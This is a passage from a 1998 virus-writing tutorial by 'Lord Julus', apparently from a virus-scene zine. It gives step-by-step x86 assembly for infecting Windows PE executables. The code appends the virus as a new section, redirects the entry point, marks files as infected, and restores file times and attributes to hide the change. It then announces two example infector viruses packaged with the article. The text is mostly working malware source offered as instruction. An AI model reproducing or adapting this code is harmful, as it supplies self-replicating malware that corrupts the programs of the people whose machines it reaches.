>           mov esi, [ebp+offset PEheader]         ; ESI = Addr. of PE header
>           inc word ptr [esi+06h]                 ; increment number of sections
>           mov eax, [ebp+offset newip]            ; Get value of new EIP in EAX
>           mov [esi+28h], eax                     ; Write it to the PE header
>           mov eax, end-start                     ; compute new file size
>           add [ebp + newfilesize], eax           ; this is needed in closing

>           mov esi, [ebp+offset mapaddress]       ; mark file as infected
>           mov word ptr [esi+38h], 'xx'           ;

>             That's  it  !!!  Even  more  easy  than  the  first method... Now the
>      original  file  has  a new section which contains code and which is actually
>      the  virus  itself,  which  will  also  represent the starting IP. After the
>      execution of the virus, the control in returned to the host.

>             So, let's review:

>             ù Find the last section's end
>             ù Compute the new section's values
>             ù Insert the new section's header
>             ù Insert the new section body
>             ù Update all fields in the PE header

>             Nice and easy !!

>             After mastering both of the appending methods, let's move over to the
>      final step, the closing of the file.

>          .------------------.
>     -----| Closing the file |-----------------------------------------------------
>          '------------------'

>             A  part  of  the  apis  used  here were described in the File Opening
>      section.

>         + The first thing is to unmap the view of the file:

>     Unmap_view:                                  ; first unmap the view
>           push dword ptr [ebp+offset mapaddress] ;
>           mov eax, [ebp+AUnmapViewOfFileA]       ;
>           Call eax                               ;

>         + The next step is to close the map handle:

>     close_map:                                   ;
>           push dword ptr [ebp+offset maphandle]  ; then close the map handle
>           mov eax, [ebp+ACloseHandleA]           ;
>           call eax                               ;

>         + Then we start closing the file. First, we must restore it's time:

>     close_file:                                  ; then close file handle,
>           mov ebx, offset ftcreation             ; but first restore it's
>           add ebx, ebp                           ; original date and time
>           push ebx                               ;
>           add ebx, 8                             ;
>           push ebx                               ;
>           add ebx, 8                             ;
>           push ebx                               ;
>           push dword ptr [ebp+offset filehandle] ;
>           mov ebx, [ebp+ASetFileTimeA]           ;
>           call ebx                               ;

>             In order to properly close the file we must set it's EOF at the exact
>      end of file. So, first we move the pointer to the end and set the EOF:

>           push 0                                 ; first we must set the file
>           push 0                                 ; pointer at the end of file
>           push dword ptr [ebp+offset newfilesize]; (that is the beginning +
>           push dword ptr [ebp+offset filehandle] ;  new file size)
>           mov eax, [ebp+offset ASetFilePointerA] ;
>           call eax                               ;
>                                                  ;
>           push dword ptr [ebp+offset filehandle] ; ...and then mark the end of
>           mov eax, [ebp+offset ASetEndOfFileA]   ; file...
>           call eax                               ;

>         + And finaly we close the file:

>           push dword ptr [ebp+offset filehandle] ; now, close !
>           mov eax, [ebp+ACloseHandleA]           ;
>           call eax                               ;

>         + Then we must restore File Attributes:

>           push dword ptr [ebp+offset fileattributes]
>           push dword ptr [ebp+offset fileofs]
>           mov eax, [ebp+offset ASetFileAttributesA]
>           call eax                               ;
>           jmp infection_succesful                ;
>                                                  ;
>     infection_error:                             ;
>           stc                                    ; CF set if an error occured
>           jmp outahere                           ; or file was already infected
>                                                  ;
>     infection_succesful:                         ;
>           cmp word ptr [ebp+offset infectionflag], 0FFh
>           je infection_error                     ;
>           clc                                    ; if all is ok, CF is reset
>                                                  ;
>     outahere:                                    ;
>           popad                                  ; restore registers
>           ret                                    ;
>     Infect_File Endp                             ;

>           So, here ends the infect_file procedure. Very quick and easy.

>           In  this  article's  package  you  should  find  two  examples of win32
>      viruses:
>                     - Win32.Method1
>                     - Win32.Method2

>           They  are  simple,  parasitic  infectors  for the PE-file, infecting at
>      run-time any file in the current directory named GOAT*.EXE. In the package I
>      have  also  included  5 GOAT PE files which you can use to check the viriis.
>      The viruses are not encrypted in any way, do not have anykind of payload and
>      they were created simply to demonstrate 2 ways of appending to the PE file.

>             This being said, I wish good luck to everybody and, remember...

>                              ...there is always something out there to learn

>                                                  .-----------------------.
>                                                  |  Lord Julus 1998 (c)  |
>                                                  '-----------------------'

>       Many thanx go to: Qark, Quantum, Jacky Qwerty, Shaitan, Blue-Skull, Griyo
>                         Darkman, Murkry, a.s.o.
>                                                             Lord Julus - 1998